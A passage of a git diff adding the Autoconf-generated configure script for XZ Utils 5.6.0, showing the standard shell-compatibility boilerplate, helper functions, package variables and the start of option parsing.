Define to the type of an unsigned integer type of width exactly 32 bits if + such a type exists and the standard includes do not define it. */ +#undef uint32_t + +/* Define to the type of an unsigned integer type of width exactly 64 bits if + such a type exists and the standard includes do not define it. */ +#undef uint64_t + +/* Define to the type of an unsigned integer type of width exactly 8 bits if + such a type exists and the standard includes do not define it. */ +#undef uint8_t + +/* Define to the type of an unsigned integer type wide enough to hold a + pointer, if such a type exists, and if the system does not define it. */ +#undef uintptr_t diff --git a/configure b/configure new file mode 100755 index 00000000..c43d63f7 --- /dev/null +++ b/configure @@ -0,0 +1,25722 @@ +#! /bin/sh +# Guess values for system-dependent variables and create Makefiles. +# Generated by GNU Autoconf 2.72 for XZ Utils 5.6.0. +# +# Report bugs to . +# +# +# Copyright (C) 1992-1996, 1998-2017, 2020-2023 Free Software Foundation, +# Inc. +# +# +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. +## -------------------- ## +## M4sh Initialization. ## +## -------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +if test ${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1 +then : + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else case e in #( + e) case `(set -o) 2>/dev/null` in #( + *posix*) : + set -o posix ;; #( + *) : + ;; +esac ;; +esac +fi + + + +# Reset variables that may have inherited troublesome values from +# the environment. + +# IFS needs to be set, to space, tab, and newline, in precisely that order. +# (If _AS_PATH_WALK were called with IFS unset, it would have the +# side effect of setting IFS to empty, thus disabling word splitting.) +# Quoting is to prevent editors from complaining about space-tab. +as_nl=' +' +export as_nl +IFS=" "" $as_nl" + +PS1='$ ' +PS2='> ' +PS4='+ ' + +# Ensure predictable behavior from utilities with locale-dependent output. +LC_ALL=C +export LC_ALL +LANGUAGE=C +export LANGUAGE + +# We cannot yet rely on "unset" to work, but we need these variables +# to be unset--not just set to an empty or harmless value--now, to +# avoid bugs in old shells (e.g. pre-3.0 UWIN ksh). This construct +# also avoids known problems related to "unset" and subshell syntax +# in other old shells (e.g. bash 2.01 and pdksh 5.2.14). +for as_var in BASH_ENV ENV MAIL MAILPATH CDPATH +do eval test \${$as_var+y} \ + && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : +done + +# Ensure that fds 0, 1, and 2 are open. +if (exec 3>&0) 2>/dev/null; then :; else exec 0&1) 2>/dev/null; then :; else exec 1>/dev/null; fi +if (exec 3>&2) ; then :; else exec 2>/dev/null; fi + +# The user is always right. +if ${PATH_SEPARATOR+false} :; then + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { + (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || + PATH_SEPARATOR=';' + } +fi + + +# Find who we are. Look in the path if we contain no directory separator. +as_myself= +case $0 in #(( + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + test -r "$as_dir$0" && as_myself=$as_dir$0 && break + done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as 'sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + printf "%s\n" "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + exit 1 +fi + + +# Use a proper internal environment variable to ensure we don't fall + # into an infinite loop, continuously re-executing ourselves. + if test x"${_as_can_reexec}" != xno && test "x$CONFIG_SHELL" != x; then + _as_can_reexec=no; export _as_can_reexec; + # We cannot yet assume a decent shell, so we have to provide a +# neutralization value for shells without unset; and this also +# works around shells that cannot unset nonexistent variables. +# Preserve -v and -x to the replacement shell. +BASH_ENV=/dev/null +ENV=/dev/null +(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV +case $- in # (((( + *v*x* | *x*v* ) as_opts=-vx ;; + *v* ) as_opts=-v ;; + *x* ) as_opts=-x ;; + * ) as_opts= ;; +esac +exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} +# Admittedly, this is quite paranoid, since all the known shells bail +# out after a failed 'exec'. +printf "%s\n" "$0: could not re-execute with $CONFIG_SHELL" >&2 +exit 255 + fi + # We don't want this to propagate to other subprocesses. + { _as_can_reexec=; unset _as_can_reexec;} +if test "x$CONFIG_SHELL" = x; then + as_bourne_compatible="if test \${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1 +then : + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which + # is contrary to our usage. Disable this feature. + alias -g '\${1+\"\$@\"}'='\"\$@\"' + setopt NO_GLOB_SUBST +else case e in #( + e) case \`(set -o) 2>/dev/null\` in #( + *posix*) : + set -o posix ;; #( + *) : + ;; +esac ;; +esac +fi +" + as_required="as_fn_return () { (exit \$1); } +as_fn_success () { as_fn_return 0; } +as_fn_failure () { as_fn_return 1; } +as_fn_ret_success () { return 0; } +as_fn_ret_failure () { return 1; } + +exitcode=0 +as_fn_success || { exitcode=1; echo as_fn_success failed.; } +as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } +as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } +as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } +if ( set x; as_fn_ret_success y && test x = \"\$1\" ) +then : + +else case e in #( + e) exitcode=1; echo positional parameters were not saved. ;; +esac +fi +test x\$exitcode = x0 || exit 1 +blah=\$(echo \$(echo blah)) +test x\"\$blah\" = xblah || exit 1 +test -x / || exit 1" + as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO + as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO + eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && + test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1 +test \$(( 1 + 1 )) = 2 || exit 1 + + test -n \"\${ZSH_VERSION+set}\${BASH_VERSION+set}\" || ( + ECHO='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' + ECHO=\$ECHO\$ECHO\$ECHO\$ECHO\$ECHO + ECHO=\$ECHO\$ECHO\$ECHO\$ECHO\$ECHO\$ECHO + PATH=/empty FPATH=/empty; export PATH FPATH + test \"X\`printf %s \$ECHO\`\" = \"X\$ECHO\" \\ + || test \"X\`print -r -- \$ECHO\`\" = \"X\$ECHO\" ) || exit 1" + if (eval "$as_required") 2>/dev/null +then : + as_have_required=yes +else case e in #( + e) as_have_required=no ;; +esac +fi + if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null +then : + +else case e in #( + e) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +as_found=false +for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + as_found=: + case $as_dir in #( + /*) + for as_base in sh bash ksh sh5; do + # Try only shells that exist, to save several forks. + as_shell=$as_dir$as_base + if { test -f "$as_shell" || test -f "$as_shell.exe"; } && + as_run=a "$as_shell" -c "$as_bourne_compatible""$as_required" 2>/dev/null +then : + CONFIG_SHELL=$as_shell as_have_required=yes + if as_run=a "$as_shell" -c "$as_bourne_compatible""$as_suggested" 2>/dev/null +then : + break 2 +fi +fi + done;; + esac + as_found=false +done +IFS=$as_save_IFS +if $as_found +then : + +else case e in #( + e) if { test -f "$SHELL" || test -f "$SHELL.exe"; } && + as_run=a "$SHELL" -c "$as_bourne_compatible""$as_required" 2>/dev/null +then : + CONFIG_SHELL=$SHELL as_have_required=yes +fi ;; +esac +fi + + + if test "x$CONFIG_SHELL" != x +then : + export CONFIG_SHELL + # We cannot yet assume a decent shell, so we have to provide a +# neutralization value for shells without unset; and this also +# works around shells that cannot unset nonexistent variables. +# Preserve -v and -x to the replacement shell. +BASH_ENV=/dev/null +ENV=/dev/null +(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV +case $- in # (((( + *v*x* | *x*v* ) as_opts=-vx ;; + *v* ) as_opts=-v ;; + *x* ) as_opts=-x ;; + * ) as_opts= ;; +esac +exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} +# Admittedly, this is quite paranoid, since all the known shells bail +# out after a failed 'exec'. +printf "%s\n" "$0: could not re-execute with $CONFIG_SHELL" >&2 +exit 255 +fi + + if test x$as_have_required = xno +then : + printf "%s\n" "$0: This script requires a shell more modern than all" + printf "%s\n" "$0: the shells that I found on your system." + if test ${ZSH_VERSION+y} ; then + printf "%s\n" "$0: In particular, zsh $ZSH_VERSION has bugs and should" + printf "%s\n" "$0: be upgraded to zsh 4.3.4 or later." + else + printf "%s\n" "$0: Please tell bug-autoconf@gnu.org and xz@tukaani.org +$0: about your system, including any error possibly output +$0: before this message. Then install a modern shell, or +$0: manually run the script under such a shell if you do +$0: have one." + fi + exit 1 +fi ;; +esac +fi +fi +SHELL=${CONFIG_SHELL-/bin/sh} +export SHELL +# Unset more variables known to interfere with behavior of common tools. +CLICOLOR_FORCE= GREP_OPTIONS= +unset CLICOLOR_FORCE GREP_OPTIONS + +## --------------------- ## +## M4sh Shell Functions. ## +## --------------------- ## +# as_fn_unset VAR +# --------------- +# Portably unset VAR. +as_fn_unset () +{ + { eval $1=; unset $1;} +} +as_unset=as_fn_unset + + +# as_fn_set_status STATUS +# ----------------------- +# Set $? to STATUS, without forking. +as_fn_set_status () +{ + return $1 +} # as_fn_set_status + +# as_fn_exit STATUS +# ----------------- +# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. +as_fn_exit () +{ + set +e + as_fn_set_status $1 + exit $1 +} # as_fn_exit + +# as_fn_mkdir_p +# ------------- +# Create "$as_dir" as a directory, including parents if necessary. +as_fn_mkdir_p () +{ + + case $as_dir in #( + -*) as_dir=./$as_dir;; + esac + test -d "$as_dir" || eval $as_mkdir_p || { + as_dirs= + while :; do + case $as_dir in #( + *\'*) as_qdir=`printf "%s\n" "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( + *) as_qdir=$as_dir;; + esac + as_dirs="'$as_qdir' $as_dirs" + as_dir=`$as_dirname -- "$as_dir" || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + test -d "$as_dir" && break + done + test -z "$as_dirs" || eval "mkdir $as_dirs" + } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" + + +} # as_fn_mkdir_p + +# as_fn_executable_p FILE +# ----------------------- +# Test if FILE is an executable regular file. +as_fn_executable_p () +{ + test -f "$1" && test -x "$1" +} # as_fn_executable_p +# as_fn_append VAR VALUE +# ---------------------- +# Append the text in VALUE to the end of the definition contained in VAR. Take +# advantage of any shell optimizations that allow amortized linear growth over +# repeated appends, instead of the typical quadratic growth present in naive +# implementations. +if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null +then : + eval 'as_fn_append () + { + eval $1+=\$2 + }' +else case e in #( + e) as_fn_append () + { + eval $1=\$$1\$2 + } ;; +esac +fi # as_fn_append + +# as_fn_arith ARG... +# ------------------ +# Perform arithmetic evaluation on the ARGs, and store the result in the +# global $as_val. Take advantage of shells that can avoid forks. The arguments +# must be portable across $(()) and expr. +if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null +then : + eval 'as_fn_arith () + { + as_val=$(( $* )) + }' +else case e in #( + e) as_fn_arith () + { + as_val=`expr "$@" || test $? -eq 1` + } ;; +esac +fi # as_fn_arith + + +# as_fn_error STATUS ERROR [LINENO LOG_FD] +# ---------------------------------------- +# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are +# provided, also output the error to LOG_FD, referencing LINENO. Then exit the +# script with STATUS, using 1 if that was 0. +as_fn_error () +{ + as_status=$1; test $as_status -eq 0 && as_status=1 + if test "$4"; then + as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 + fi + printf "%s\n" "$as_me: error: $2" >&2 + as_fn_exit $as_status +} # as_fn_error + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + + + as_lineno_1=$LINENO as_lineno_1a=$LINENO + as_lineno_2=$LINENO as_lineno_2a=$LINENO + eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && + test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { + # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-) + sed -n ' + p + /[$]LINENO/= + ' <$as_myself | + sed ' + t clear + :clear + s/[$]LINENO.*/&-/ + t lineno + b + :lineno + N + :loop + s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ + t loop + s/-\n.*// + ' >$as_me.lineno && + chmod +x "$as_me.lineno" || + { printf "%s\n" "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; } + + # If we had to re-execute with $CONFIG_SHELL, we're ensured to have + # already done that, so ensure we don't try to do so again and fall + # in an infinite loop. This has already happened in practice. + _as_can_reexec=no; export _as_can_reexec + # Don't try to exec as it changes $[0], causing all sort of problems + # (the dirname of $[0] is not the place where we might find the + # original and so on. Autoconf is especially sensitive to this). + . "./$as_me.lineno" + # Exit status is that of the last command. + exit +} + + +# Determine whether it's possible to make 'echo' print without a newline. +# These variables are no longer used directly by Autoconf, but are AC_SUBSTed +# for compatibility with existing Makefiles. +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in #((((( +-n*) + case `echo 'xy\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + xy) ECHO_C='\c';; + *) echo `echo ksh88 bug on AIX 6.1` > /dev/null + ECHO_T=' ';; + esac;; +*) + ECHO_N='-n';; +esac + +# For backward compatibility with old third-party macros, we provide +# the shell variables $as_echo and $as_echo_n. New code should use +# AS_ECHO(["message"]) and AS_ECHO_N(["message"]), respectively. +as_echo='printf %s\n' +as_echo_n='printf %s' + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir 2>/dev/null +fi +if (echo >conf$$.file) 2>/dev/null; then + if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both 'ln -s file dir' and 'ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; 'ln -s' creates a wrapper executable. + # In both cases, we have to default to 'cp -pR'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -pR' + elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln + else + as_ln_s='cp -pR' + fi +else + as_ln_s='cp -pR' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + +if mkdir -p . 2>/dev/null; then + as_mkdir_p='mkdir -p "$as_dir"' +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + +as_test_x='test -x' +as_executable_p=as_fn_executable_p + +# Sed expression to map a string onto a valid CPP name. +as_sed_cpp="y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g" +as_tr_cpp="eval sed '$as_sed_cpp'" # deprecated + +# Sed expression to map a string onto a valid variable name. +as_sed_sh="y%*+%pp%;s%[^_$as_cr_alnum]%_%g" +as_tr_sh="eval sed '$as_sed_sh'" # deprecated + +SHELL=${CONFIG_SHELL-/bin/sh} + + +test -n "$DJDIR" || exec 7<&0 &1 + +# Name of the host. +# hostname on some systems (SVR3.2, old GNU/Linux) returns a bogus exit status, +# so uname gets run too. +ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` + +# +# Initializations. +# +ac_default_prefix=/usr/local +ac_clean_files= +ac_config_libobj_dir=. +LIBOBJS= +cross_compiling=no +subdirs= +MFLAGS= +MAKEFLAGS= + +# Identity of this package. +PACKAGE_NAME='XZ Utils' +PACKAGE_TARNAME='xz' +PACKAGE_VERSION='5.6.0' +PACKAGE_STRING='XZ Utils 5.6.0' +PACKAGE_BUGREPORT='xz@tukaani.org' +PACKAGE_URL='https://xz.tukaani.org/xz-utils/' + +ac_unique_file="src/liblzma/common/common.h" +# Factoring default headers for most tests. +ac_includes_default="\ +#include +#ifdef HAVE_STDIO_H +# include +#endif +#ifdef HAVE_STDLIB_H +# include +#endif +#ifdef HAVE_STRING_H +# include +#endif +#ifdef HAVE_INTTYPES_H +# include +#endif +#ifdef HAVE_STDINT_H +# include +#endif +#ifdef HAVE_STRINGS_H +# include +#endif +#ifdef HAVE_SYS_TYPES_H +# include +#endif +#ifdef HAVE_SYS_STAT_H +# include +#endif +#ifdef HAVE_UNISTD_H +# include +#endif" + +ac_header_c_list= +gt_needs= +enable_year2038=no +ac_subst_vars='am__EXEEXT_FALSE +am__EXEEXT_TRUE +LTLIBOBJS +xz +AM_CFLAGS +COND_GNULIB_FALSE +COND_GNULIB_TRUE +HAVE_VISIBILITY +CFLAG_VISIBILITY +COND_INTERNAL_SHA256_FALSE +COND_INTERNAL_SHA256_TRUE +GETOPT_H +LIBOBJS +localedir_c_make +localedir_c +POSUB +LTLIBINTL +LIBINTL +INTLLIBS +LTLIBICONV +LIBICONV +INTL_MACOSX_LIBS +XGETTEXT_EXTRA_OPTIONS +MSGMERGE_FOR_MSGFMT_OPTION +MSGMERGE +XGETTEXT_015 +XGETTEXT +GMSGFMT_015 +GMSGFMT +MSGFMT +GETTEXT_MACRO_VERSION +USE_NLS +COND_SYMVERS_GENERIC_FALSE +COND_SYMVERS_GENERIC_TRUE +COND_SYMVERS_LINUX_FALSE +COND_SYMVERS_LINUX_TRUE +COND_SHARED_FALSE +COND_SHARED_TRUE +RC +LT_SYS_LIBRARY_PATH +OTOOL64 +OTOOL +LIPO +NMEDIT +DSYMUTIL +MANIFEST_TOOL +RANLIB +ac_ct_AR +AR +FILECMD +NM +ac_ct_DUMPBIN +DUMPBIN +LD +FGREP +EGREP +GREP +LIBTOOL +OBJDUMP +DLLTOOL +AS +COND_THREADS_FALSE +COND_THREADS_TRUE +PTHREAD_CFLAGS +PTHREAD_LIBS +PTHREAD_CXX +PTHREAD_CC +ax_pthread_config +CPP +SED +am__fastdepCCAS_FALSE +am__fastdepCCAS_TRUE +CCASDEPMODE +CCASFLAGS +CCAS +am__fastdepCC_FALSE +am__fastdepCC_TRUE +CCDEPMODE +am__nodep +AMDEPBACKSLASH +AMDEP_FALSE +AMDEP_TRUE +am__include +DEPDIR +OBJEXT +EXEEXT +ac_ct_CC +CPPFLAGS +LDFLAGS +CFLAGS +CC +LN_S +AM_BACKSLASH +AM_DEFAULT_VERBOSITY +AM_DEFAULT_V +AM_V +CSCOPE +ETAGS +CTAGS +am__untar +am__tar +AMTAR +am__leading_dot +SET_MAKE +AWK +mkdir_p +MKDIR_P +INSTALL_STRIP_PROGRAM +STRIP +install_sh +MAKEINFO +AUTOHEADER +AUTOMAKE +AUTOCONF +ACLOCAL +VERSION +PACKAGE +CYGPATH_W +am__isrc +INSTALL_DATA +INSTALL_SCRIPT +INSTALL_PROGRAM +PREFERABLY_POSIX_SHELL +POSIX_SHELL +enable_path_for_scripts +COND_DOC_FALSE +COND_DOC_TRUE +COND_SCRIPTS_FALSE +COND_SCRIPTS_TRUE +COND_LZMALINKS_FALSE +COND_LZMALINKS_TRUE +COND_LZMAINFO_FALSE +COND_LZMAINFO_TRUE +COND_LZMADEC_FALSE +COND_LZMADEC_TRUE +COND_XZDEC_FALSE +COND_XZDEC_TRUE +COND_XZ_FALSE +COND_XZ_TRUE +COND_SMALL_FALSE +COND_SMALL_TRUE +COND_ASM_X86_FALSE +COND_ASM_X86_TRUE +COND_LZIP_DECODER_FALSE +COND_LZIP_DECODER_TRUE +COND_MICROLZMA_FALSE +COND_MICROLZMA_TRUE +COND_CHECK_SHA256_FALSE +COND_CHECK_SHA256_TRUE +COND_CHECK_CRC64_FALSE +COND_CHECK_CRC64_TRUE +COND_CHECK_CRC32_FALSE +COND_CHECK_CRC32_TRUE +COND_DECODER_LZ_FALSE +COND_DECODER_LZ_TRUE +COND_ENCODER_LZ_FALSE +COND_ENCODER_LZ_TRUE +COND_FILTER_LZ_FALSE +COND_FILTER_LZ_TRUE +COND_DECODER_SIMPLE_FALSE +COND_DECODER_SIMPLE_TRUE +COND_ENCODER_SIMPLE_FALSE +COND_ENCODER_SIMPLE_TRUE +COND_FILTER_SIMPLE_FALSE +COND_FILTER_SIMPLE_TRUE +COND_DECODER_RISCV_FALSE +COND_DECODER_RISCV_TRUE +COND_ENCODER_RISCV_FALSE +COND_ENCODER_RISCV_TRUE +COND_FILTER_RISCV_FALSE +COND_FILTER_RISCV_TRUE +COND_DECODER_SPARC_FALSE +COND_DECODER_SPARC_TRUE +COND_ENCODER_SPARC_FALSE +COND_ENCODER_SPARC_TRUE +COND_FILTER_SPARC_FALSE +COND_FILTER_SPARC_TRUE +COND_DECODER_ARM64_FALSE +COND_DECODER_ARM64_TRUE +COND_ENCODER_ARM64_FALSE +COND_ENCODER_ARM64_TRUE +COND_FILTER_ARM64_FALSE +COND_FILTER_ARM64_TRUE +COND_DECODER_ARMTHUMB_FALSE +COND_DECODER_ARMTHUMB_TRUE +COND_ENCODER_ARMTHUMB_FALSE +COND_ENCODER_ARMTHUMB_TRUE +COND_FILTER_ARMTHUMB_FALSE +COND_FILTER_ARMTHUMB_TRUE +COND_DECODER_ARM_FALSE +COND_DECODER_ARM_TRUE +COND_ENCODER_ARM_FALSE +COND_ENCODER_ARM_TRUE +COND_FILTER_ARM_FALSE +COND_FILTER_ARM_TRUE +COND_DECODER_IA64_FALSE +COND_DECODER_IA64_TRUE +COND_ENCODER_IA64_FALSE +COND_ENCODER_IA64_TRUE +COND_FILTER_IA64_FALSE +COND_FILTER_IA64_TRUE +COND_DECODER_POWERPC_FALSE +COND_DECODER_POWERPC_TRUE +COND_ENCODER_POWERPC_FALSE +COND_ENCODER_POWERPC_TRUE +COND_FILTER_POWERPC_FALSE +COND_FILTER_POWERPC_TRUE +COND_DECODER_X86_FALSE +COND_DECODER_X86_TRUE +COND_ENCODER_X86_FALSE +COND_ENCODER_X86_TRUE +COND_FILTER_X86_FALSE +COND_FILTER_X86_TRUE +COND_DECODER_DELTA_FALSE +COND_DECODER_DELTA_TRUE +COND_ENCODER_DELTA_FALSE +COND_ENCODER_DELTA_TRUE +COND_FILTER_DELTA_FALSE +COND_FILTER_DELTA_TRUE +COND_DECODER_LZMA2_FALSE +COND_DECODER_LZMA2_TRUE +COND_ENCODER_LZMA2_FALSE +COND_ENCODER_LZMA2_TRUE +COND_FILTER_LZMA2_FALSE +COND_FILTER_LZMA2_TRUE +COND_DECODER_LZMA1_FALSE +COND_DECODER_LZMA1_TRUE +COND_ENCODER_LZMA1_FALSE +COND_ENCODER_LZMA1_TRUE +COND_FILTER_LZMA1_FALSE +COND_FILTER_LZMA1_TRUE +COND_MAIN_DECODER_FALSE +COND_MAIN_DECODER_TRUE +COND_MAIN_ENCODER_FALSE +COND_MAIN_ENCODER_TRUE +LN_EXEEXT +COND_W32_FALSE +COND_W32_TRUE +host_os +host_vendor +host_cpu +host +build_os +build_vendor +build_cpu +build +target_alias +host_alias +build_alias +LIBS +ECHO_T +ECHO_N +ECHO_C +DEFS +mandir +localedir +libdir +psdir +pdfdir +dvidir +htmldir +infodir +docdir +oldincludedir +includedir +runstatedir +localstatedir +sharedstatedir +sysconfdir +datadir +datarootdir +libexecdir +sbindir +bindir +program_transform_name +prefix +exec_prefix +PACKAGE_URL +PACKAGE_BUGREPORT +PACKAGE_STRING +PACKAGE_VERSION +PACKAGE_TARNAME +PACKAGE_NAME +PATH_SEPARATOR +SHELL +am__quote' +ac_subst_files='' +ac_user_opts=' +enable_option_checking +enable_debug +enable_encoders +enable_decoders +enable_match_finders +enable_checks +enable_external_sha256 +enable_microlzma +enable_lzip_decoder +enable_assembler +enable_clmul_crc +enable_arm64_crc32 +enable_small +enable_threads +enable_assume_ram +enable_xz +enable_xzdec +enable_lzmadec +enable_lzmainfo +enable_lzma_links +enable_scripts +enable_doc +enable_sandbox +enable_path_for_scripts +enable_silent_rules +enable_dependency_tracking +enable_shared +enable_static +with_pic +enable_fast_install +with_aix_soname +with_gnu_ld +with_sysroot +enable_libtool_lock +enable_symbol_versions +enable_nls +enable_rpath +with_libiconv_prefix +with_libintl_prefix +enable_largefile +enable_ifunc +enable_unaligned_access +enable_unsafe_type_punning +enable_werror +enable_year2038 +' + ac_precious_vars='build_alias +host_alias +target_alias +CC +CFLAGS +LDFLAGS +LIBS +CPPFLAGS +CCAS +CCASFLAGS +CPP +LT_SYS_LIBRARY_PATH' + + +# Initialize some variables set by options. +ac_init_help= +ac_init_version=false +ac_unrecognized_opts= +ac_unrecognized_sep= +# The variables have the same names as the options, with +# dashes changed to underlines. +cache_file=/dev/null +exec_prefix=NONE +no_create= +no_recursion= +prefix=NONE +program_prefix=NONE +program_suffix=NONE +program_transform_name=s,x,x, +silent= +site= +srcdir= +verbose= +x_includes=NONE +x_libraries=NONE + +# Installation directory options. +# These are left unexpanded so users can "make install exec_prefix=/foo" +# and all the variables that are supposed to be based on exec_prefix +# by default will actually change. +# Use braces instead of parens because sh, perl, etc. also accept them. +# (The list follows the same order as the GNU Coding Standards.) +bindir='${exec_prefix}/bin' +sbindir='${exec_prefix}/sbin' +libexecdir='${exec_prefix}/libexec' +datarootdir='${prefix}/share' +datadir='${datarootdir}' +sysconfdir='${prefix}/etc' +sharedstatedir='${prefix}/com' +localstatedir='${prefix}/var' +runstatedir='${localstatedir}/run' +includedir='${prefix}/include' +oldincludedir='/usr/include' +docdir='${datarootdir}/doc/${PACKAGE_TARNAME}' +infodir='${datarootdir}/info' +htmldir='${docdir}' +dvidir='${docdir}' +pdfdir='${docdir}' +psdir='${docdir}' +libdir='${exec_prefix}/lib' +localedir='${datarootdir}/locale' +mandir='${datarootdir}/man' + +ac_prev= +ac_dashdash= +for ac_option +do + # If the previous option needs an argument, assign it. + if test -n "$ac_prev"; then + eval $ac_prev=\$ac_option + ac_prev= + continue + fi + + case $ac_option in + *=?*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; + *=) ac_optarg= ;; + *) ac_optarg=yes ;; + esac + + case $ac_dashdash$ac_option in + --) + ac_dashdash=yes ;; + + -bindir | --bindir | --bindi | --bind | --bin | --bi) + ac_prev=bindir ;; + -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) + bindir=$ac_optarg ;; + + -build | --build | --buil | --bui | --bu) + ac_prev=build_alias ;; + -build=* | --build=* | --buil=* | --bui=* | --bu=*) + build_alias=$ac_optarg ;; + + -cache-file | --cache-file | --cache-fil | --cache-fi \ + | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) + ac_prev=cache_file ;; + -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ + | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) + cache_file=$ac_optarg ;; + + --config-cache | -C) + cache_file=config.cache ;; + + -datadir | --datadir | --datadi | --datad) + ac_prev=datadir ;; + -datadir=* | --datadir=* | --datadi=* | 